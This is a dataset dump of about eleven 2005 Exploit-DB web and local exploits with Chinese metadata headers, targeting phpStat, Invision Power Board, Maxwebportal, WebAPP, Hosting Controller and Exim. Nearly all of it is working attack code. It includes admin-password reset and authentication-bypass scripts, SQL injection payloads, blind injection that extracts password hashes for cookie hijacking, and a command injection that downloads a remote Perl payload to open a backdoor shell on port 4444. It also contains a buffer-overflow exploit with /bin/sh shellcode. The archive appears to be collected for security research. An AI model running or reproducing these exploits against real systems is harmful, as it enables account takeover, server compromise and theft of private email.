QLWD/code_shield huggingface dataset:
标题: phpStat 1.5 - 'setup.php' Authentication Bypass EDB-ID: 1016 CVE: 2005-1787 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: #!/usr/bin/perl
#####################################################################
#T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#####################################################################
# EXPLOIT FOR - PHPStat Setup.PHP Authentication Bypass Vulnerability
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v )
#E-Mail : Alpha_Programmer@Yahoo.com
#
#This Xpl Change Admin's Pass in This Portal !!
#Discovered by: SoulBlack
#
#Vulnerable Version : phpStat 1.5
#
#####################################################################
# Gr33tz To ==>   mh_p0rtal , Oil_karchack , Str0ke  &  AlphaST.Com
#
# So Iranian Hacking & Security Teams :
#
# Crouz , Shabgard , Simorgh-ev ,IHS , Emperor & GrayHatz.NeT
#####################################################################


use IO::Socket;

if (@ARGV < 3)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By Alpha Programmer --\n\n";
 print "     Trap-Set UnderGrounD Hacking Team      \n\n";
 print "         Usage: <T4rg3t> <DIR> <Password>\n\n";
 print "==========================================\n\n";
 print "Examples:\n\n";
 print "    phpStat.pl www.Site.com /phpstat/ 12345\n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted\n";

$http = "GET $ARGV[1]setup.php?check=yes&username=admin&password=$ARGV[2] HTTP/1.0\n";
$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n";
$http .= "Host: $host\n\n\n\n";

print "[+]Sending H3ll Packet ...\n";
print $remote $http;
sleep(1);
print "[+]Wait For Authentication Bypass ...\n";
sleep(100);
while (<$remote>)
{
}
print "[+]OK ! Now Goto $host$ARGV[1]setup.php And L0gin Whith:\n\n";
print "[+]User: admin\n";
print "[+]Pass: $ARGV[2]";

# milw0rm.com [2005-05-30] URL: https://www.exploit-db.com/exploits/1016
标题: Invision Power Board 2.0.3 - 'login.php' SQL Injection (Tutorial) EDB-ID: 1014 CVE: 2005-1598 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-27 漏洞利用脚本: # danica jones <danica6699@gmail.com>

Tutorial for the recent exploit released by Petey Beege.

1. Get the exploit from http://www.milw0rm.com/id.php?id=1013 (https://www.exploit-db.com/exploits/1013/)
2. Make sure you have LWP::UserAgent perl module if not do this:
     a. perl -MCPAN -e 'shell'
     b. inside the perl shell, do this 'install LWP::UserAgent'
3. Run the exploit. Get the password hash for the desired login id

ex. inv.pl http://forums.example.com 2 2

Where 2 is the login id and 2 for version 2 of IPB.

4. Open wordpad. Edit Mozilla Firefox's cookie file. Mine is located at

C:\Documents and Settings\the1\Application Data\Mozilla\Firefox\Profiles\vspyhjb9.default\cookies.txt"

Add the following entries:

forums.example.com        FALSE        /        FALSE  1148708747   member_id        1
forums.example.com        FALSE        /        FALSE  1148708747        pass_hash        ecb735f70028a9cdb819828f4aced78c

Notice the value of member_id and pass_hash taken from the values
generated by the exploit.

5. Fire up Mozilla Firefox and login to http://forums.example.com

Enjoy!


# milw0rm.com [2005-05-27] URL: https://www.exploit-db.com/exploits/1014
标题: Maxwebportal 1.36 - 'Password.asp' Change Password (3) EDB-ID: 1010 CVE: 2005-1779 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-26 漏洞利用脚本: #!/usr/bin/perl
#################################################################
#    T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#################################################################
# EXPLOIT FOR - MAX Portal (All Versions)
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v );
#E-Mail : Alpha_Programmer@Yahoo.com
#
#This Xpl Change Admin's Pass in This Portal !!
#
#Discovered by: s d <irsdl@yahoo.com>
#
#################################################################
#  Gr33tz To ==>   mh_p0rtal , Oil_karchack , Str0ke   &  AlphaST.Com
#
#And Iranian Hacking & Security Teams :
# IHS , Shabgard , Emperor ,Crouz & Simorgh-ev
#################################################################
use IO::Socket;

if (@ARGV < 2)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By Alpha Programmer --\n\n";
 print "     Trap-Set Underground Hacking Team      \n\n";
 print "      Usage: Max.pl <T4rg3t> <V3rsion>\n\n";
 print " V3rsion :\n";
 print " 1 ==>   Version 1.35 and 0lder\n";
 print " 2 ==>   Version 1.36, 2.0 and Next\n";
 print "==========================================\n\n";
 print "Example:\n\n";
 print "    Max.pl www.Site.com 1\n";
 exit();
}
$hell = "foo' or M_Name='admin";
if ($ARGV[1] =~"2" ){$hell = "foo%27%29+or+M_Name%3D%27admin%27+or+%28%271%27%3D%272"};


my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted\n";

$http = "POST /password.asp?mode=reset HTTP/1.0";
$http .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
$http .= "Accept-Language: fa\n";
$http .= "Content-Type: application/x-www-form-urlencoded\n";
$http .= "Pragma: no-cache\n";
$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n";
$http .= "Host: $host\n";
$http .= "Content-Length: 111\n";
$http .= "Proxy-Connection: Keep-Alive\n";
$http .= "Cookie: SSOComhide=Name=admin; SSOComUser=Cookies=&Pword=d7fae5da3d785535c12b70865519ba86&Name=admin\n\n";

$http .= "pass=trapset&pass2=trapset&memId=-1&memKey=$hell&Submit=Submit\n\n\n\n";

print "\n";
print $remote $http;
sleep(1);
print "[+] Attacking ...\n";
print "[+] Changing Admin's Password ...\n";
while (<$remote>)
{
}
print "\nNow Go to $host and Login With :\n\n";
print "User: admin\n";
print "Pass: trapset\n\n";
print "Enjoy ;)\n";
print "\n";
### EOF ###

# milw0rm.com [2005-05-26] URL: https://www.exploit-db.com/exploits/1010
标题: Invision Power Board 2.0.3 - 'login.php' SQL Injection EDB-ID: 1013 CVE: 2005-1598 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-26 漏洞利用脚本: #!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1];   # userid to jack
my $iver = $ARGV[2];   # version 1 or 2
my $cpre = $ARGV[3];   # cookie prefix
my $dbug = $ARGV[4];   # debug?

if (!$ARGV[2])
{
        print "The type of the file system is NTFS.\n\n";
        print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
        print "DRIVE C: WILL BE LOST!\n";
        print "Proceed with Format (Y/N)?\n";
        exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
        for( $j=0; $j < 16; $j++ )
        {
                my $current = $charset[$j];
            my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
                my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
                my $res = $ua->get($path, @cookie);

                # If we get a valid sql request then this
                # does not appear anywhere in the sources
                $pattern = '<title>(.*)Log In(.*)</title>';

                $_ = $res->content;

                if ($dbug) { print };

                if ( !(/$pattern/) )
                {
                        $outputs .= $current;
                        print "$current\n";
                    last;
                }

        }
  if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

# milw0rm.com [2005-05-26] URL: https://www.exploit-db.com/exploits/1013
标题: WebAPP 0.9.9.2.1 - Remote Command Execution (1) EDB-ID: 1005 CVE: 2005-1628 类型: WEBAPPS 平台: CGI 发布日期: 2005-05-20 漏洞利用脚本: !/usr/bin/perl
#################################################################
#                         T r a p - S e t   U n d e r G r o u n D   H a c k i n g   T e a m                               #
#################################################################
# Remote C0mmand Executing Expl0it - For WebAPP CGI
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v );
#E-Mail : Alpha_Programmer@Yahoo.com
#            Trapset_Sec@Yahoo.Ca
#This xpl Open a Backdoor in 4444 Port with Nobody Access !!! All Of The *NIX OS that Have UnPatch
#apage.cgi is Vulnerable in this M0ment !!
#
#################################################################
#  Gr33tz To ==>  AlphaST.Com , Crouz.Com  , Simorgh-ev.Com  And  MH_P0rtal , Oil_Krachack     #
#################################################################
use IO::Socket;

if (@ARGV < 2)
{
 print "\n==============================================\n";
 print " \n    WebAPP CGI Exploit By Alpha_Programmer \n\n";
 print "      Trap-Set Underground Hacking Team      \n\n";
 print "            Usage: <T4rg3t> <Dir>      \n\n";
 print "==============================================\n\n";
 print "Examples:\n\n";
 print "    WebApp.pl www.Host.com /cgi-bin/ \n";
 exit();
}


$serv = $ARGV[0];
$serv =~ s/http:\/\///ge;

$dir = $ARGV[1];

$cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";

$cmde =~ s/ /"\$IFS"/ge;

$req  = "GET http://$serv";
$req .= "$dir";
$req .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

print $sock $req;
print "\nPlease Wait ...\n\n";
sleep(3000);
close($sock);

$sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";


$cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 sirus.pl;perl sirus.pl";

$cmde2 =~ s/ /"\$IFS"/ge;

$req2  = "GET http://$serv";
$req2 .= "$dir";
$req2 .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_\";$cmde2;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

print $sock2 $req2;
print "\n\n$$$   OK -- Now Try: Nc -v www.host.com 4444   $$$\n";
print "$$  if This Port was Close , This mean is That , You Hav'nt Permission to Write in /TMP  $$\n";

### EOF ###


# milw0rm.com [2005-05-20] URL: https://www.exploit-db.com/exploits/1005
标题: Hosting Controller 0.6.1 - User Registration (3) EDB-ID: 1015 CVE: 2005-1784 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-27 漏洞利用脚本: <!--

Hi, I'm Soroush Dalili from GSG (GrayHatz Security Group).

Title: Hosting controller program have a security bug
in "UserProfile.asp" that an authenticated user can
change other's profiles.
Why is it dangerous: a user can change other's email
address and then use forgot password to recieve their
password! also he/she can gain administrator password
by this way!
Version: 6.1 HotFix 2.0 and older
Developer url: hostingcontroller.com
Comment: Hosting Controller is an application to
manage a host.

Exploit code to proof:
--------------------------------
Change users profiles: --> 



<form action="http://[URL]/admin//accounts/UserProfile.asp?action=updateprofile" method="post">
Username : <input name="UserList" value="hcadmin" type="text" size="50">
<br>
emailaddress : <input name="emailaddress" value="Crkchat@msn.com" type="text" size="50">
<br>
firstname : <input name="firstname" value="Crkchat" type="text" size="50">
<br>
<input name="submit" value="submit" type="submit">
</form>

<!--
-----------------------------------
Now u can use forgot password to gain passwords! -->

# milw0rm.com [2005-05-27] URL: https://www.exploit-db.com/exploits/1015
标题: phpStat 1.5 - 'setup.php' Authentication Bypass (PHP) (1) EDB-ID: 1017 CVE: 2005-1787 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: <?php
error_reporting(E_PARSE);
/*
================================================================
PHP Stat Administrative User Authentication Bypass POC Exploit
================================================================
====Trap-Set Underground Hacking Team===========mh_p0rtal============

Greetz to : Alpha_programmer , Oil_karchack , Str0ke   And Iranian Hacking & Security Teams :
Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam
, CrouZ Security Team , Simorgh-ev Security Team ,

====================^^^^^^^^^^^^^^^^^^^-=========================
*/
# Config ________________________________
# address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php

$url = "http://www.site.com/setup.php";

# EnD ___________________________________

print "<form action=\"$url?check=yes&username=$username&password=$password\" >";
print "<input type=\"hidden\" name=\"check\"  value=\"yes\">";
print "Username : <input type=\"text\" name=\"username\"  value=\"admin\" size=\"25\"><br>";
print "Password : <input type=\"text\" name=\"password\"  value=\"abc123\" size=\"25\"><br>";
print ("<input type=submit value=::Change. > \n");
print "</form>";

//------------------------------------------------------End.
?>

# milw0rm.com [2005-05-30] URL: https://www.exploit-db.com/exploits/1017
标题: Exim 4.41 - 'dns_build_reverse' Local Read Emails EDB-ID: 1009 CVE: 2005-0021 类型: LOCAL 平台: LINUX 发布日期: 2005-05-25 漏洞利用脚本: /* 
 * ripped straight off iDEFENSE advisory - so lazy I just picked
 * up GDB... bored on a weeknight :(
 * 
 * nothing to write home to mother about due to the fact that
 * you need a local user account on a server and all you
 * get is to read other people's emails ....
 * 
 * not even my own shellcode. aleph1 shellcode - cut and paste job 
 * with nops to pad.
 *
 * Regards,
 * Plugger aka Tony Lockett
 *
 * 
 * 
 */

char bomb[288]=

/* the gear from iDEFENSE */
"::%A:::::::::::::::::"                             /* 21 bytes  */
                                                    /* --------  */
/* NOPS for padding */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"                                          /* 218 bytes */
                                                    /* --------- */
/* actual code courtesy Aleph1 */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"  /* 12 bytes  */
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"  /* 12 bytes  */
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"              /* 9 bytes   */
"\xe8\xdc\xff\xff\xff/bin/sh"                       /* 12 bytes  */

/* where EIP should point */
"\xf4\xf2\xff\xbf";                                 /*  4 bytes  */
                                                    /* --------  */
                                                    /* 49 bytes  */
                                                    /* --------  */
                                                    /* 288 bytes */
                                                    /* ========= */
main()
{
  char *exim[4];
  exim[0] = "/usr/exim/bin/exim";
  exim[1] = "-bh";
  exim[2] = bomb;
  exim[3] = 0x0;
  printf("Firing up exim - cross your fingers for shell!\n");
  execve(exim[0],exim,0x0);
  return;
}

// milw0rm.com [2005-05-25] URL: https://www.exploit-db.com/exploits/1009
标题: Maxwebportal 1.36 - 'Password.asp' Change Password (1) (HTML) EDB-ID: 1012 CVE: 2005-1779 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-26 漏洞利用脚本: <!--
Hi, I'm Soroush Dalili from Grayhatz Security Group (GSG) . I found dangerous sql injection
in Maxwebportal version 1.35,1.36,2.0, 20050418 Next
Remote user can inject his/her code in "memKey" var. and change other users password in
password.asp

Exploit codes to proof: 
-->

-----------------Code Start-----Version 1.35 and older--------------
<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="-1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo' or M_Name='admin" size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>
-----------------End-------------------

Version 1.36, 2.0, 20050418 Next:

-----------------Code Start-----Version 1.36, 2.0, 20050418 Next--------------
<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="-1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo') or M_Name='admin' or ('1'='2"

size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>
-----------------End-------------------

# milw0rm.com [2005-05-26] URL: https://www.exploit-db.com/exploits/1012
标题: phpStat 1.5 - 'setup.php' Authentication Bypass (PHP) (2) EDB-ID: 1018 CVE: 2005-1787 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: <?

/*

**************************************************************
PHP Stat Administrative User Authentication Bypass POC Exploit
     Code by Nikyt0x - Soulblack Security Research
**************************************************************

Advisory: 
 http://www.soulblack.com.ar/repo/papers/phpstat_advisory.txt

Saludos:                                        
   Soulblack Staff, Status-x, NeosecurityTeam,
   KingMetal, SWP, Trespasser...

nikyt0x@gmail.com
http://www.nikyt0x.tk

**************************************************************
**This Exploit Change Admin Username and Password
**Username: admin
**Password: admin
**************************************************************


php sbphpstatpoc.php www.spazfarm.com /spazstats/setup.php

          ==============================================================
          PHP Stat Administrative User Authentication Bypass POC Exploit
          ==============================================================
                     by Nikyt0x - Soulblack Security Research

     [+] Testing: www.spazfarm.com
     [+] Socket
     [+] Sending Exploit
     [+] OK

     Open www.spazfarm.com/spazstats/setup.php

     Username: admin
     Password: 123456

**************************************************************
*/

// username and password

$username = "admin";
$password = "123456";

function sh0w()
{
echo "\n          ==============================================================\n";
echo "          PHP Stat Administrative User Authentication Bypass POC Exploit\n";
echo "          ==============================================================\n";
echo "                     by Nikyt0x - Soulblack Security Research\n\n";
}

if ($argc != 3)
{
sh0w();
echo "\n\n          Usage:\n                   sbphpstatpoc.php www.site.com /dir/to/setup.php\n";
exit();
}


if(!ereg('setup.php',$argv[2])) {
   echo "URL to setup.php Incorrect.\n";
   exit(0);
}

sh0w();

echo "     [+] Testing: $argv[1]\n";

$s0ck3t = fsockopen($argv[1], 80);

if (!$s0ck3t) {
   echo "     [-] Socket\n";
   exit(0);
} else {

    $petici0n  = "GET $argv[2]?check=yes&username=$username&password=$password HTTP/1.1\r\n";
    $petici0n .= "Host: $argv[1]\r\n";
    $petici0n .= "Connection: Close\r\n\r\n";
   
   echo "     [+] Socket\n";

if(!fwrite($s0ck3t, $petici0n))
   {
   echo "     [-] Sending Exploit\n";
   exit(0);
   }
echo "     [+] Sending Exploit\n";

 while (!feof($s0ck3t)) {
       $g3tdata = fgets($s0ck3t, 1024);
    if (eregi('Setup has been updated',$g3tdata))
    {
    echo "     [+] OK\n\n";
           echo "     Open $argv[1]$argv[2]\n\n     Username: $username\n     Password: $password\n";
           exit();
           }

}
fclose($s0ck3t);
}

?>

# milw0rm.com [2005-05-30] URL: https://www.exploit-db.com/exploits/1018
标题: Maxwebportal 1.36 - 'Password.asp' Change Password (2) EDB-ID: 1011 CVE: 2005-1779 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-26 漏洞利用脚本: <?php
/*
------Trap-Set Underground Hacking Team-----------------mh_p0rtal---------------------- 
Greetz to : Alpha_programmer , Oil_karchack , Str0ke   And Iranian Hacking & Security Teams : 
Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam 
, CrouZ Security Team , Simorgh-ev Security Team 
----------------Discovered by: s d <irsdl@yahoo.com>------------------------------------------
*/ 
# Config ________________________________   
# address - example: http://www.site.com/password.asp
$url  = "http://www.mohamad.com/password.asp";  
$mh = "s1";   
# if webmaxportal version is : Version 1.35 and older please input $mh= "s1" 
# if webmaxportal version is : Version 1.36 , 2.0 please input $mh= "s2" 
# EnD ___________________________________
if ( $mh == "s1" ) {
print "<form action=\"$url?mode=reset\" method=\"post\"> <br> ";
print "Password1 : <input name=\"pass\" type=\"text\" value=\"abc123\" size=\"50\"><br>";
print "Confirm Pass: <input name=\"pass2\" type=\"text\" value=\"abc123\" size=\"50\"><br>"; 
print " ID  :&nbsp&nbsp&nbsp <input name=\"memId\" type=\"text\" value=\"-1\" size=\"50\"><br>"; 
print "Member key: <input name=\"memKey\" type=\"text\" value=\"foo' or M_Name='admin\" size=\"50\"><br>";
print "<input name=\"Submit\" type=\"submit\" value=\":::Change Pass:::\">";
print "</form>";
} if ( $mh == "s2" ) {
print "<form action=\"$url?mode=reset\" method=\"post\"> <br> ";
print "Password1: <input name=\"pass\" type=\"text\" value=\"abc123\" size=\"50\"><br>"; 
print "Confirm Pass : <input name=\"pass2\" type=\"text\" value=\"abc123\" size=\"50\"><br> ";
print "ID  :  &nbsp&nbsp&nbsp<input name=\"memId\" type=\"text\" value=\"-1\" size=\"50\"><br> ";
print "Member key: <input name=\"memKey\" type=\"text\" value=\"foo') or M_Name='admi n' or ('1'='2\" size=\"50\"> <br>"; 
print "<input name=\"Submit\" type=\"submit\" value=\":::Change Pass:::\">";
print "</form>";
} 
?>

# milw0rm.com [2005-05-26] URL: https://www.exploit-db.com/exploits/1011